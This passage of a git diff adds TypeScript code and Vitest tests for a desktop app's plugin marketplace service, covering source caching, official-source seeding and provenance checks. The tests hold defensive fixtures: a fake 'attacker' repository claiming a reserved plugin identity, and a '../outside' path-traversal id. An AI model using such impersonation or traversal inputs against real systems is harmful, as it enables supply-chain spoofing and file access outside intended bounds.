+export function validateMarketplaceProvenance(
+  source: PluginMarketplaceRegisteredSource,
+  fetched: PluginMarketplaceFetchResult
+): void {
+  if (
+    isOfficialMarketplaceGitSource(source.source.url) &&
+    fetched.marketplace.owner.toLowerCase() !== OFFICIAL_MARKETPLACE_OWNER
+  ) {
+    throw new Error('official marketplace metadata has an unexpected owner')
+  }
+  for (const entry of fetched.marketplace.plugins) {
+    if (isReservedPluginIdentity(entry.id) && !isOfficialOrganizationGitSource(entry.source.url)) {
+      throw new Error(
+        `reserved plugin identity ${entry.id} must resolve to the stablyai organization`
+      )
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-marketplace-service.test.ts b/src/main/plugins/plugin-marketplace-service.test.ts
new file mode 100644
index 000000000..38c39a79c
--- /dev/null
+++ b/src/main/plugins/plugin-marketplace-service.test.ts
@@ -0,0 +1,336 @@
+import { mkdtemp, rm } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type {
+  PluginMarketplace,
+  PluginMarketplaceGitSource
+} from '../../shared/plugins/plugin-marketplace'
+import { OFFICIAL_MARKETPLACE_GIT_SOURCE } from '../../shared/plugins/plugin-marketplace'
+import type { PluginMarketplaceFetchResult } from './plugin-marketplace-fetch'
+import { PluginMarketplaceService } from './plugin-marketplace-service'
+import {
+  marketplaceSourceId,
+  PLUGIN_MARKETPLACE_SOURCE_LIMIT,
+  PluginMarketplaceStore,
+  type PluginMarketplaceRegisteredSource
+} from './plugin-marketplace-store'
+
+const roots: string[] = []
+
+async function tempRoot(): Promise<string> {
+  const root = await mkdtemp(join(tmpdir(), 'orca-marketplace-service-'))
+  roots.push(root)
+  return root
+}
+
+function source(url = 'https://github.com/community/plugins.git'): PluginMarketplaceGitSource {
+  return { kind: 'git', url, ref: 'main' }
+}
+
+function marketplace(
+  name = 'Community',
+  pluginKey = 'community.notes',
+  pluginUrl = 'https://github.com/community/notes.git'
+): PluginMarketplace {
+  return {
+    name,
+    owner: name.toLowerCase(),
+    plugins: [
+      {
+        id: pluginKey,
+        source: { kind: 'git', url: pluginUrl, ref: 'v1' },
+        description: 'Notes for active worktrees.',
+        categories: ['productivity']
+      }
+    ]
+  }
+}
+
+function fetched(value = marketplace(), commit = 'a'.repeat(40)): PluginMarketplaceFetchResult {
+  return { marketplaceCommit: commit, marketplace: value }
+}
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('PluginMarketplaceService', () => {
+  it('fetches before registration, then serves browse data from the local snapshot', async () => {
+    const fetcher = vi
+      .fn<
+        (registration: PluginMarketplaceRegisteredSource) => Promise<PluginMarketplaceFetchResult>
+      >()
+      .mockResolvedValue(fetched())
+    const service = new PluginMarketplaceService({ pluginsDataDir: await tempRoot(), fetcher })
+
+    const added = await service.addSource(source())
+
+    expect(added).toMatchObject({ marketplace: { name: 'Community' }, stale: false })
+    expect(fetcher).toHaveBeenCalledTimes(1)
+    await expect(service.listPlugins()).resolves.toEqual([
+      expect.objectContaining({
+        marketplaceSourceId: added.id,
+        pluginKey: 'community.notes',
+        official: false,
+        bundled: false
+      })
+    ])
+    await service.listSources()
+    expect(fetcher).toHaveBeenCalledTimes(1)
+  })
+
+  it('keeps and labels the last valid snapshot when a refresh is offline', async () => {
+    const fetcher = vi
+      .fn<
+        (registration: PluginMarketplaceRegisteredSource) => Promise<PluginMarketplaceFetchResult>
+      >()
+      .mockResolvedValueOnce(fetched())
+      .mockRejectedValueOnce(new Error('offline'))
+    const service = new PluginMarketplaceService({ pluginsDataDir: await tempRoot(), fetcher })
+    const added = await service.addSource(source())
+
+    await expect(service.refreshSource(added.id)).resolves.toMatchObject({
+      marketplace: { name: 'Community', resolvedCommit: 'a'.repeat(40) },
+      stale: true,
+      error: 'offline'
+    })
+    await expect(service.listPlugins()).resolves.toEqual([
+      expect.objectContaining({ pluginKey: 'community.notes' })
+    ])
+  })
+
+  it('atomically replaces the cache only after a valid refreshed index', async () => {
+    const fetcher = vi
+      .fn<
+        (registration: PluginMarketplaceRegisteredSource) => Promise<PluginMarketplaceFetchResult>
+      >()
+      .mockResolvedValueOnce(fetched())
+      .mockResolvedValueOnce(fetched(marketplace('Updated'), 'b'.repeat(40)))
+    const root = await tempRoot()
+    const service = new PluginMarketplaceService({ pluginsDataDir: root, fetcher })
+    const added = await service.addSource(source())
+
+    await expect(service.refreshSource(added.id)).resolves.toMatchObject({
+      marketplace: { name: 'Updated', resolvedCommit: 'b'.repeat(40) },
+      stale: false
+    })
+    await expect(
+      new PluginMarketplaceService({ pluginsDataDir: root, fetcher }).listPlugins()
+    ).resolves.toEqual([expect.objectContaining({ marketplaceName: 'Updated' })])
+  })
+
+  it('does not persist a source whose first fetch fails', async () => {
+    const service = new PluginMarketplaceService({
+      pluginsDataDir: await tempRoot(),
+      fetcher: async () => {
+        throw new Error('authentication failed')
+      }
+    })
+
+    await expect(service.addSource(source())).rejects.toThrow('authentication failed')
+    await expect(service.listSources()).resolves.toEqual([])
+  })
+
+  it('rejects reserved identities outside the official organization', async () => {
+    const service = new PluginMarketplaceService({
+      pluginsDataDir: await tempRoot(),
+      fetcher: async () =>
+        fetched(
+          marketplace('Attack', 'community.orca-secrets', 'https://github.com/attacker/x.git')
+        )
+    })
+
+    await expect(service.addSource(source())).rejects.toThrow(
+      'reserved plugin identity community.orca-secrets'
+    )
+    await expect(service.listSources()).resolves.toEqual([])
+  })
+
+  it('derives the Official badge only from the canonical marketplace and source organization', async () => {
+    const officialMarketplace: PluginMarketplace = {
+      name: 'Orca Plugins',
+      owner: 'stablyai',
+      plugins: [
+        {
+          id: 'stablyai.orca-shortcuts',
+          source: {
+            kind: 'git',
+            url: 'git@github.com:stablyai/orca-shortcuts.git',
+            ref: 'main'
+          },
+          categories: ['keybindings']
+        }
+      ]
+    }
+    const service = new PluginMarketplaceService({
+      pluginsDataDir: await tempRoot(),
+      fetcher: async () => fetched(officialMarketplace)
+    })
+
+    await service.addSource(source('https://github.com/stablyai/orca-plugins.git'))
+
+    await expect(service.listPlugins()).resolves.toEqual([
+      expect.objectContaining({ pluginKey: 'stablyai.orca-shortcuts', official: true })
+    ])
+  })
+
+  it('hides listings whose contribution kind this build no longer supports', async () => {
+    const mixed: PluginMarketplace = {
+      name: 'Community',
+      owner: 'community',
+      plugins: [
+        {
+          id: 'community.midnight',
+          source: { kind: 'git', url: 'https://github.com/community/midnight.git', ref: 'v1' },
+          categories: ['themes', 'official']
+        },
+        {
+          id: 'community.recipes',
+          source: { kind: 'git', url: 'https://github.com/community/recipes.git', ref: 'v1' },
+          categories: ['vm-recipes']
+        }
+      ]
+    }
+    const service = new PluginMarketplaceService({
+      pluginsDataDir: await tempRoot(),
+      fetcher: async () => fetched(mixed)
+    })
+
+    const added = await service.addSource(source())
+
+    // The theme pack is filtered out; only the supported recipe listing remains.
+    await expect(service.listPlugins()).resolves.toEqual([
+      expect.objectContaining({ pluginKey: 'community.recipes' })
+    ])
+
+    // Preview and install resolve by key, so an unsupported pack must be
+    // unreachable that way too — otherwise the dead install just moves later.
+    await expect(service.findPlugin(added.id, 'community.midnight')).resolves.toBeNull()
+    await expect(service.findPlugin(added.id, 'community.recipes')).resolves.toEqual(
+      expect.objectContaining({ pluginKey: 'community.recipes' })
+    )
+  })
+
+  it('seeds the official marketplace once and keeps it configured across restarts', async () => {
+    const root = await tempRoot()
+    const officialMarketplace = marketplace(
+      'Orca Plugins',
+      'stablyai.orca-notes',
+      'https://github.com/stablyai/orca-notes.git'
+    )
+    officialMarketplace.owner = 'stablyai'
+    const fetcher = vi.fn(async () => fetched(officialMarketplace))
+    const first = new PluginMarketplaceService({ pluginsDataDir: root, fetcher })
+
+    await expect(first.seedOfficialSource()).resolves.toMatchObject({
+      official: true,
+      marketplace: { name: 'Orca Plugins' }
+    })
+    await expect(first.seedOfficialSource()).resolves.toMatchObject({ official: true })
+    expect(fetcher).toHaveBeenCalledTimes(1)
+
+    const restarted = new PluginMarketplaceService({ pluginsDataDir: root, fetcher })
+    await expect(restarted.seedOfficialSource()).resolves.toMatchObject({ official: true })
+    expect(fetcher).toHaveBeenCalledTimes(1)
+    await expect(restarted.listSources()).resolves.toHaveLength(1)
+  })
+
+  it('persists an offline official source for a later refresh and does not remove it', async () => {
+    const service = new PluginMarketplaceService({
+      pluginsDataDir: await tempRoot(),
+      fetcher: async () => {
+        throw new Error('offline')
+      }
+    })
+
+    const seeded = await service.seedOfficialSource()
+
+    expect(seeded).toMatchObject({ official: true, stale: true, marketplace: null })
+    await expect(service.removeSource(seeded.id)).rejects.toThrow('cannot be removed')
+    await expect(service.listSources()).resolves.toEqual([seeded])
+  })
+
+  it('keeps reads usable and allows retry after official seeding rejects', async () => {
+    const registered: PluginMarketplaceRegisteredSource = {
+      id: marketplaceSourceId(OFFICIAL_MARKETPLACE_GIT_SOURCE),
+      source: OFFICIAL_MARKETPLACE_GIT_SOURCE,
+      addedAt: 1
+    }
+    const officialMarketplace = marketplace(
+      'Orca Plugins',
+      'stablyai.orca-notes',
+      'https://github.com/stablyai/orca-notes.git'
+    )
+    officialMarketplace.owner = 'stablyai'
+    const listSources = vi
+      .fn<() => Promise<readonly PluginMarketplaceRegisteredSource[]>>()
+      .mockRejectedValueOnce(new Error('source store temporarily unavailable'))
+      .mockResolvedValue([registered])
+    const store = {
+      listSources,
+      readSnapshot: vi.fn().mockResolvedValue(null),
+      writeSnapshot: vi.fn(async ({ source: snapshotSource, ...snapshot }) => ({
+        schemaVersion: 1 as const,
+        sourceId: snapshotSource.id,
+        source: snapshotSource.source,
+        fetchedAt: 2,
+        ...snapshot
+      }))
+    } as unknown as PluginMarketplaceStore
+    const service = new PluginMarketplaceService({
+      pluginsDataDir: await tempRoot(),
+      store,
+      fetcher: async () => fetched(officialMarketplace)
+    })
+
+    await expect(service.seedOfficialSource()).rejects.toThrow('temporarily unavailable')
+    await expect(service.listSources()).resolves.toEqual([
+      expect.objectContaining({ id: registered.id, official: true })
+    ])
+    await expect(service.seedOfficialSource()).resolves.toMatchObject({
+      marketplace: { name: 'Orca Plugins' },
+      official: true
+    })
+  })
+
+  it('recovers the managed source after a full existing store frees a slot', async () => {
+    const root = await tempRoot()
+    const store = new PluginMarketplaceStore(root)
+    const registrations = await Promise.all(
+      Array.from({ length: PLUGIN_MARKETPLACE_SOURCE_LIMIT }, (_, index) =>
+        store.addSource(source(`https://example.com/community-${index}.git`), index + 1)
+      )
+    )
+    const officialMarketplace = marketplace(
+      'Orca Plugins',
+      'stablyai.orca-notes',
+      'https://github.com/stablyai/orca-notes.git'
+    )
+    officialMarketplace.owner = 'stablyai'
+    const service = new PluginMarketplaceService({
+      pluginsDataDir: root,
+      store,
+      fetcher: async () => fetched(officialMarketplace)
+    })
+
+    await expect(service.seedOfficialSource()).rejects.toThrow('source limit')
+    await expect(service.removeSource(registrations[0]!.id)).resolves.toBe(true)
+
+    const sources = await service.listSources()
+    expect(sources).toHaveLength(PLUGIN_MARKETPLACE_SOURCE_LIMIT)
+    expect(sources).toContainEqual(expect.objectContaining({ official: true }))
+  })
+
+  it('removes source metadata and browse listings together', async () => {
+    const service = new PluginMarketplaceService({
+      pluginsDataDir: await tempRoot(),
+      fetcher: async () => fetched()
+    })
+    const added = await service.addSource(source())
+
+    await expect(service.removeSource(added.id)).resolves.toBe(true)
+    await expect(service.listSources()).resolves.toEqual([])
+    await expect(service.listPlugins()).resolves.toEqual([])
+  })
+})
diff --git a/src/main/plugins/plugin-marketplace-service.ts b/src/main/plugins/plugin-marketplace-service.ts
new file mode 100644
index 000000000..cdee5bf97
--- /dev/null
+++ b/src/main/plugins/plugin-marketplace-service.ts
@@ -0,0 +1,320 @@
+import {
+  OFFICIAL_MARKETPLACE_OWNER,
+  OFFICIAL_MARKETPLACE_GIT_SOURCE,
+  isOfficialMarketplaceGitSource,
+  isOfficialOrganizationGitSource,
+  isOfficialPluginIdentity,
+  isMarketplaceListingSupported,
+  pluginMarketplaceGitSourceSchema,
+  type PluginMarketplaceEntry,
+  type PluginMarketplaceGitSource
+} from '../../shared/plugins/plugin-marketplace'
+import {
+  fetchPluginMarketplace,
+  type PluginMarketplaceFetchResult
+} from './plugin-marketplace-fetch'
+import {
+  marketplaceSourceId,
+  PluginMarketplaceStore,
+  type PluginMarketplaceCachedSnapshot,
+  type PluginMarketplaceRegisteredSource
+} from './plugin-marketplace-store'
+import type { PluginKillListEntry } from '../../shared/plugins/plugin-kill-list'
+import { validateMarketplaceProvenance } from './plugin-marketplace-provenance'
+import { pluginMarketplaceErrorMessage } from './plugin-marketplace-error-message'
+import type {
+  PluginMarketplaceListing,
+  PluginMarketplaceSourceState
+} from './plugin-marketplace-projection'
+export type {
+  PluginMarketplaceListing,
+  PluginMarketplaceSourceState
+} from './plugin-marketplace-projection'
+
+type MarketplaceFetcher = (
+  source: PluginMarketplaceRegisteredSource
+) => Promise<PluginMarketplaceFetchResult>
+
+export class PluginMarketplaceService {
+  private readonly store: PluginMarketplaceStore
+  private readonly fetcher: MarketplaceFetcher
+  private readonly getKillListEntry: (pluginKey: string) => PluginKillListEntry | null
+  private readonly refreshChains = new Map<string, Promise<PluginMarketplaceSourceState>>()
+  private readonly sourceErrors = new Map<string, string>()
+  private officialSeedPromise: Promise<PluginMarketplaceSourceState> | null = null
+  private officialSeedRequested = false
+
+  constructor(options: {
+    pluginsDataDir: string
+    fetcher?: MarketplaceFetcher
+    store?: PluginMarketplaceStore
+    getKillListEntry?: (pluginKey: string) => PluginKillListEntry | null
+  }) {
+    this.store = options.store ?? new PluginMarketplaceStore(options.pluginsDataDir)
+    this.fetcher = options.fetcher ?? fetchPluginMarketplace
+    this.getKillListEntry = options.getKillListEntry ?? (() => null)
+  }
+
+  async listSources(): Promise<PluginMarketplaceSourceState[]> {
+    await this.waitForOfficialSeed()
+    const sources = await this.store.listSources()
+    return Promise.all(
+      sources.map(async (source) => {
+        try {
+          const error = this.sourceErrors.get(source.id)
+          return this.stateFromSnapshot(
+            source,
+            await this.store.readSnapshot(source.id),
+            Boolean(error),
+            error
+          )
+        } catch (error) {
+          return this.stateFromSnapshot(source, null, true, pluginMarketplaceErrorMessage(error))
+        }
+      })
+    )
+  }
+
+  async addSource(source: PluginMarketplaceGitSource): Promise<PluginMarketplaceSourceState> {
+    const parsedSource = pluginMarketplaceGitSourceSchema.parse(source)
+    const sourceId = marketplaceSourceId(parsedSource)
+    const existing = (await this.store.listSources()).find((candidate) => candidate.id === sourceId)
+    const candidate: PluginMarketplaceRegisteredSource = existing ?? {
+      id: sourceId,
+      source: parsedSource,
+      addedAt: Date.now()
+    }
+    const fetched = await this.fetchAndValidate(candidate)
+    const registered = existing ?? (await this.store.addSource(parsedSource, candidate.addedAt))
+    try {
+      const snapshot = await this.store.writeSnapshot({ source: registered, ...fetched })
+      this.sourceErrors.delete(registered.id)
+      return this.stateFromSnapshot(registered, snapshot, false)
+    } catch (error) {
+      if (!existing) {
+        await this.store.removeSource(registered.id).catch(() => undefined)
+      }
+      throw error
+    }
+  }
+
+  async removeSource(sourceId: string): Promise<boolean> {
+    const source = (await this.store.listSources()).find((candidate) => candidate.id === sourceId)
+    if (source && isOfficialMarketplaceGitSource(source.source.url)) {
+      throw new Error('the official marketplace is managed by Orca and cannot be removed')
+    }
+    const removed = await this.store.removeSource(sourceId)
+    if (removed) {
+      this.sourceErrors.delete(sourceId)
+      if (this.officialSeedRequested) {
+        // Why: an existing profile may already occupy every source slot. Once
+        // the user frees one, recover the managed source without a restart.
+        await this.seedOfficialSource().catch(() => undefined)
+      }
+    }
+    return removed
+  }
+
+  seedOfficialSource(): Promise<PluginMarketplaceSourceState> {
+    this.officialSeedRequested = true
+    if (!this.officialSeedPromise) {
+      const seed = this.performOfficialSeed()
+      this.officialSeedPromise = seed
+      void seed.catch(() => {
+        if (this.officialSeedPromise === seed) {
+          // Why: a transient store failure or full source list must not poison
+          // every marketplace read or prevent a later recovery attempt.
+          this.officialSeedPromise = null
+        }
+      })
+    }
+    return this.officialSeedPromise
+  }
+
+  async refreshSource(sourceId: string): Promise<PluginMarketplaceSourceState> {
+    const previous = this.refreshChains.get(sourceId) ?? Promise.resolve(null)
+    const refresh = previous.catch(() => null).then(() => this.performRefresh(sourceId))
+    this.refreshChains.set(sourceId, refresh)
+    try {
+      return await refresh
+    } finally {
+      if (this.refreshChains.get(sourceId) === refresh) {
+        this.refreshChains.delete(sourceId)
+      }
+    }
+  }
+
+  async refreshAll(): Promise<PluginMarketplaceSourceState[]> {
+    await this.waitForOfficialSeed()
+    const sources = await this.store.listSources()
+    return Promise.all(sources.map((source) => this.refreshSource(source.id)))
+  }
+
+  async listPlugins(): Promise<PluginMarketplaceListing[]> {
+    await this.waitForOfficialSeed()
+    const states = await this.listSnapshots()
+    return states
+      .flatMap(({ source, snapshot }) =>
+        snapshot.marketplace.plugins
+          // Why: hide packs whose contribution kind this build no longer
+          // supports (themes/icons/skills) so users never reach a dead install.
+          .filter((entry) => isMarketplaceListingSupported(entry.categories))
+          .map((entry) => this.listingFromEntry(source, snapshot, entry))
+      )
+      .sort((left, right) =>
+        `${left.pluginKey}\0${left.marketplaceSourceId}`.localeCompare(
+          `${right.pluginKey}\0${right.marketplaceSourceId}`
+        )
+      )
+  }
+
+  async findPlugin(
+    marketplaceSourceId: string,
+    pluginKey: string
+  ): Promise<PluginMarketplaceListing | null> {
+    const source = (await this.store.listSources()).find(
+      (candidate) => candidate.id === marketplaceSourceId
+    )
+    if (!source) {
+      return null
+    }
+    const snapshot = await this.store.readSnapshot(source.id)
+    // Why: preview and install resolve listings through here, so an unsupported
+    // pack must be unreachable by key too — hiding only the catalog card would
+    // move the dead install one click later instead of removing it.
+    const entry = snapshot?.marketplace.plugins.find(
+      (plugin) => plugin.id === pluginKey && isMarketplaceListingSupported(plugin.categories)
+    )
+    return snapshot && entry ? this.listingFromEntry(source, snapshot, entry) : null
+  }
+
+  private async performRefresh(sourceId: string): Promise<PluginMarketplaceSourceState> {
+    const source = (await this.store.listSources()).find((candidate) => candidate.id === sourceId)
+    if (!source) {
+      throw new Error(`unknown marketplace source: ${sourceId}`)
+    }
+    try {
+      const fetched = await this.fetchAndValidate(source)
+      const snapshot = await this.store.writeSnapshot({ source, ...fetched })
+      this.sourceErrors.delete(source.id)
+      return this.stateFromSnapshot(source, snapshot, false)
+    } catch (error) {
+      const cached = await this.store.readSnapshot(source.id).catch(() => null)
+      if (!cached) {
+        throw error
+      }
+      const message = pluginMarketplaceErrorMessage(error)
+      this.sourceErrors.set(source.id, message)
+      return this.stateFromSnapshot(source, cached, true, message)
+    }
+  }
+
+  private async performOfficialSeed(): Promise<PluginMarketplaceSourceState> {
+    const sources = await this.store.listSources()
+    const existing = sources.find((source) => isOfficialMarketplaceGitSource(source.source.url))
+    const source =
+      existing ?? (await this.store.addSource(OFFICIAL_MARKETPLACE_GIT_SOURCE, Date.now()))
+    const snapshot = await this.store.readSnapshot(source.id).catch(() => null)
+    if (snapshot) {
+      return this.stateFromSnapshot(source, snapshot, false)
+    }
+    try {
+      return await this.performRefresh(source.id)
+    } catch (error) {
+      // Why: the official source remains configured offline so a later manual
+      // or startup refresh can recover without asking the user for its URL.
+      const message = pluginMarketplaceErrorMessage(error)
+      this.sourceErrors.set(source.id, message)
+      return this.stateFromSnapshot(source, null, true, message)
+    }
+  }
+
+  private async waitForOfficialSeed(): Promise<void> {
+    await this.officialSeedPromise?.catch(() => undefined)
+  }
+
+  private async fetchAndValidate(
+    source: PluginMarketplaceRegisteredSource
+  ): Promise<PluginMarketplaceFetchResult> {
+    const fetched = await this.fetcher(source)
+    validateMarketplaceProvenance(source, fetched)
+    return fetched
+  }
+
+  private async listSnapshots(): Promise<
+    { source: PluginMarketplaceRegisteredSource; snapshot: PluginMarketplaceCachedSnapshot }[]
+  > {
+    const sources = await this.store.listSources()
+    const snapshots = await Promise.all(
+      sources.map(async (source) => ({
+        source,
+        snapshot: await this.store.readSnapshot(source.id)
+      }))
+    )
+    return snapshots.filter(
+      (
+        candidate
+      ): candidate is {
+        source: PluginMarketplaceRegisteredSource
+        snapshot: PluginMarketplaceCachedSnapshot
+      } => candidate.snapshot !== null
+    )
+  }
+
+  private listingFromEntry(
+    source: PluginMarketplaceRegisteredSource,
+    snapshot: PluginMarketplaceCachedSnapshot,
+    entry: PluginMarketplaceEntry
+  ): PluginMarketplaceListing {
+    const official =
+      isOfficialMarketplaceGitSource(source.source.url) &&
+      snapshot.marketplace.owner.toLowerCase() === OFFICIAL_MARKETPLACE_OWNER &&
+      isOfficialPluginIdentity(entry.id) &&
+      isOfficialOrganizationGitSource(entry.source.url)
+    const blocked = this.getKillListEntry(entry.id)
+    return {
+      marketplaceSourceId: source.id,
+      marketplaceName: snapshot.marketplace.name,
+      marketplaceOwner: snapshot.marketplace.owner,
+      marketplaceCommit: snapshot.marketplaceCommit,
+      pluginKey: entry.id,
+      source: entry.source,
+      ...(entry.description ? { description: entry.description } : {}),
+      categories: entry.categories,
+      official,
+      bundled: false,
+      ...(blocked
+        ? {
+            blockedByKillList: {
+              reason: blocked.reason,
+              ...(blocked.advisoryUrl ? { advisoryUrl: blocked.advisoryUrl } : {})
+            }
+          }
+        : {})
+    }
+  }
+
+  private stateFromSnapshot(
+    source: PluginMarketplaceRegisteredSource,
+    snapshot: PluginMarketplaceCachedSnapshot | null,
+    stale: boolean,
+    error?: string
+  ): PluginMarketplaceSourceState {
+    return {
+      id: source.id,
+      source: source.source,
+      addedAt: source.addedAt,
+      marketplace: snapshot
+        ? {
+            name: snapshot.marketplace.name,
+            owner: snapshot.marketplace.owner,
+            resolvedCommit: snapshot.marketplaceCommit,
+            fetchedAt: snapshot.fetchedAt
+          }
+        : null,
+      stale,
+      official: isOfficialMarketplaceGitSource(source.source.url),
+      ...(error ? { error } : {})
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-marketplace-store.test.ts b/src/main/plugins/plugin-marketplace-store.test.ts
new file mode 100644
index 000000000..460703733
--- /dev/null
+++ b/src/main/plugins/plugin-marketplace-store.test.ts
@@ -0,0 +1,85 @@
+import { mkdtemp, readdir, rm } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import type { PluginMarketplaceGitSource } from '../../shared/plugins/plugin-marketplace'
+import { marketplaceSourceId, PluginMarketplaceStore } from './plugin-marketplace-store'
+
+const roots: string[] = []
+
+async function tempRoot(): Promise<string> {
+  const root = await mkdtemp(join(tmpdir(), 'orca-marketplace-store-'))
+  roots.push(root)
+  return root
+}
+
+function source(ref = 'main'): PluginMarketplaceGitSource {
+  return { kind: 'git', url: 'https://github.com/community/plugins.git', ref }
+}
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('PluginMarketplaceStore', () => {
+  it('persists bounded source registrations under a deterministic opaque id', async () => {
+    const root = await tempRoot()
+    const first = new PluginMarketplaceStore(root)
+    const registered = await first.addSource(source(), 123)
+
+    expect(registered).toEqual({
+      id: marketplaceSourceId(source()),
+      source: source(),
+      addedAt: 123
+    })
+    await expect(new PluginMarketplaceStore(root).listSources()).resolves.toEqual([registered])
+    await expect(first.addSource(source(), 999)).resolves.toEqual(registered)
+  })
+
+  it('atomically publishes a strict cached snapshot and removes it with its source', async () => {
+    const root = await tempRoot()
+    const store = new PluginMarketplaceStore(root)
+    const registered = await store.addSource(source(), 123)
+    const snapshot = await store.writeSnapshot({
+      source: registered,
+      marketplaceCommit: 'a'.repeat(40),
+      fetchedAt: 456,
+      marketplace: {
+        name: 'Community',
+        owner: 'community',
+        plugins: [
+          {
+            id: 'community.theme',
+            source: {
+              kind: 'git',
+              url: 'https://github.com/community/theme.git',
+              ref: 'v1'
+            },
+            categories: ['themes']
+          }
+        ]
+      }
+    })
+
+    await expect(new PluginMarketplaceStore(root).readSnapshot(registered.id)).resolves.toEqual(
+      snapshot
+    )
+    expect(
+      (await readdir(join(root, 'marketplaces', 'snapshots'))).filter((entry) =>
+        entry.endsWith('.tmp')
+      )
+    ).toEqual([])
+    await expect(store.removeSource(registered.id)).resolves.toBe(true)
+    await expect(store.readSnapshot(registered.id)).resolves.toBeNull()
+  })
+
+  it('keeps distinct refs as distinct marketplace sources', () => {
+    expect(marketplaceSourceId(source('main'))).not.toBe(marketplaceSourceId(source('stable')))
+  })
+
+  it('rejects path-like source ids before reading or deleting cache files', async () => {
+    const store = new PluginMarketplaceStore(await tempRoot())
+    await expect(store.readSnapshot('../outside')).rejects.toThrow()
+    await expect(store.removeSource('../outside')).rejects.toThrow()
+  })
+})
diff --git a/src/main/plugins/plugin-marketplace-store.ts b/src/main/plugins/plugin-marketplace-store.ts
new file mode 100644
index 000000000..437f6148f
--- /dev/null
+++ b/src/main/plugins/plugin-marketplace-store.ts
@@ -0,0 +1,212 @@
+import { createHash } from 'node:crypto'
+import { createReadStream } from 'node:fs'
+import { mkdir, rm } from 'node:fs/promises'
+import { dirname, join } from 'node:path'
+import { z } from 'zod'
+import { PLUGIN_COMMIT_PATTERN } from '../../shared/plugins/plugin-install-lockfile'
+import {
+  pluginMarketplaceGitSourceSchema,
+  pluginMarketplaceSchema,
+  type PluginMarketplace,
+  type PluginMarketplaceGitSource
+} from '../../shared/plugins/plugin-marketplace'
+import { writePluginFileAtomically } from './plugin-atomic-file-write'
+
+export const PLUGIN_MARKETPLACE_SOURCE_LIMIT = 64
+export const PLUGIN_MARKETPLACE_SOURCE_ID_PATTERN = /^[0-9a-f]{32}$/
+
+const sourceIdSchema = z.string().regex(PLUGIN_MARKETPLACE_SOURCE_ID_PATTERN)
+const registeredSourceSchema = z.strictObject({
+  id: sourceIdSchema,
+  source: pluginMarketplaceGitSourceSchema,
+  addedAt: z.number().finite().nonnegative()
+})
+const sourceFileSchema = z.strictObject({
+  schemaVersion: z.literal(1),
+  sources: z.array(registeredSourceSchema).max(PLUGIN_MARKETPLACE_SOURCE_LIMIT)
+})
+const cachedSnapshotSchema = z.strictObject({
+  schemaVersion: z.literal(1),
+  sourceId: sourceIdSchema,
+  source: pluginMarketplaceGitSourceSchema,
+  marketplaceCommit: z.string().regex(PLUGIN_COMMIT_PATTERN),
+  fetchedAt: z.number().finite().nonnegative(),
+  marketplace: pluginMarketplaceSchema
+})
+
+export type PluginMarketplaceRegisteredSource = z.infer<typeof registeredSourceSchema>
+export type PluginMarketplaceCachedSnapshot = z.infer<typeof cachedSnapshotSchema>
+
+const SOURCE_FILE_MAX_BYTES = 2 * 1024 * 1024
+const SNAPSHOT_FILE_MAX_BYTES = 16 * 1024 * 1024
+
+export function marketplaceSourceId(source: PluginMarketplaceGitSource): string {
+  const parsed = pluginMarketplaceGitSourceSchema.parse(source)
+  return createHash('sha256')
+    .update(`orca-plugin-marketplace-source-v1\0${parsed.url}\0${parsed.ref}`)
+    .digest('hex')
+    .slice(0, 32)
+}
+
+export class PluginMarketplaceStore {
+  private readonly sourcesPath: string
+  private readonly snapshotDirectory: string
+  private sources: PluginMarketplaceRegisteredSource[] | null = null
+  private writeChain: Promise<void> = Promise.resolve()
+
+  constructor(pluginsDataDir: string) {
+    const root = join(pluginsDataDir, 'marketplaces')
+    this.sourcesPath = join(root, 'sources.json')
+    this.snapshotDirectory = join(root, 'snapshots')
+  }
+
+  async listSources(): Promise<readonly PluginMarketplaceRegisteredSource[]> {
+    await this.loadSources()
+    return this.sources!
+  }
+
+  async addSource(
+    source: PluginMarketplaceGitSource,
+    addedAt = Date.now()
+  ): Promise<PluginMarketplaceRegisteredSource> {
+    const parsedSource = pluginMarketplaceGitSourceSchema.parse(source)
+    const registration = registeredSourceSchema.parse({
+      id: marketplaceSourceId(parsedSource),
+      source: parsedSource,
+      addedAt
+    })
+    await this.mutateSources((sources) => {
+      if (sources.some((candidate) => candidate.id === registration.id)) {
+        return [...sources]
+      }
+      if (sources.length >= PLUGIN_MARKETPLACE_SOURCE_LIMIT) {
+        throw new Error(`marketplace source limit (${PLUGIN_MARKETPLACE_SOURCE_LIMIT}) reached`)
+      }
+      return [...sources, registration]
+    })
+    return this.sources!.find((candidate) => candidate.id === registration.id)!
+  }
+
+  async removeSource(sourceId: string): Promise<boolean> {
+    const parsedId = sourceIdSchema.parse(sourceId)
+    let removed = false
+    await this.mutateSources((sources) => {
+      const next = sources.filter((source) => source.id !== parsedId)
+      removed = next.length !== sources.length
+      return next
+    })
+    if (removed) {
+      await rm(this.snapshotPath(parsedId), { force: true })
+    }
+    return removed
+  }
+
+  async writeSnapshot(input: {
+    source: PluginMarketplaceRegisteredSource
+    marketplaceCommit: string
+    fetchedAt?: number
+    marketplace: PluginMarketplace
+  }): Promise<PluginMarketplaceCachedSnapshot> {
+    const snapshot = cachedSnapshotSchema.parse({
+      schemaVersion: 1,
+      sourceId: input.source.id,
+      source: input.source.source,
+      marketplaceCommit: input.marketplaceCommit,
+      fetchedAt: input.fetchedAt ?? Date.now(),
+      marketplace: input.marketplace
+    })
+    await writeAtomicJson(this.snapshotPath(input.source.id), snapshot)
+    return snapshot
+  }
+
+  async readSnapshot(sourceId: string): Promise<PluginMarketplaceCachedSnapshot | null> {
+    const parsedId = sourceIdSchema.parse(sourceId)
+    try {
+      const raw = JSON.parse(
+        await readBoundedText(this.snapshotPath(parsedId), SNAPSHOT_FILE_MAX_BYTES)
+      )
+      const parsed = cachedSnapshotSchema.parse(raw)
+      if (parsed.sourceId !== parsedId) {
+        throw new Error('marketplace snapshot source identity does not match its cache path')
+      }
+      return parsed
+    } catch (error) {
+      if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
+        return null
+      }
+      throw new Error(
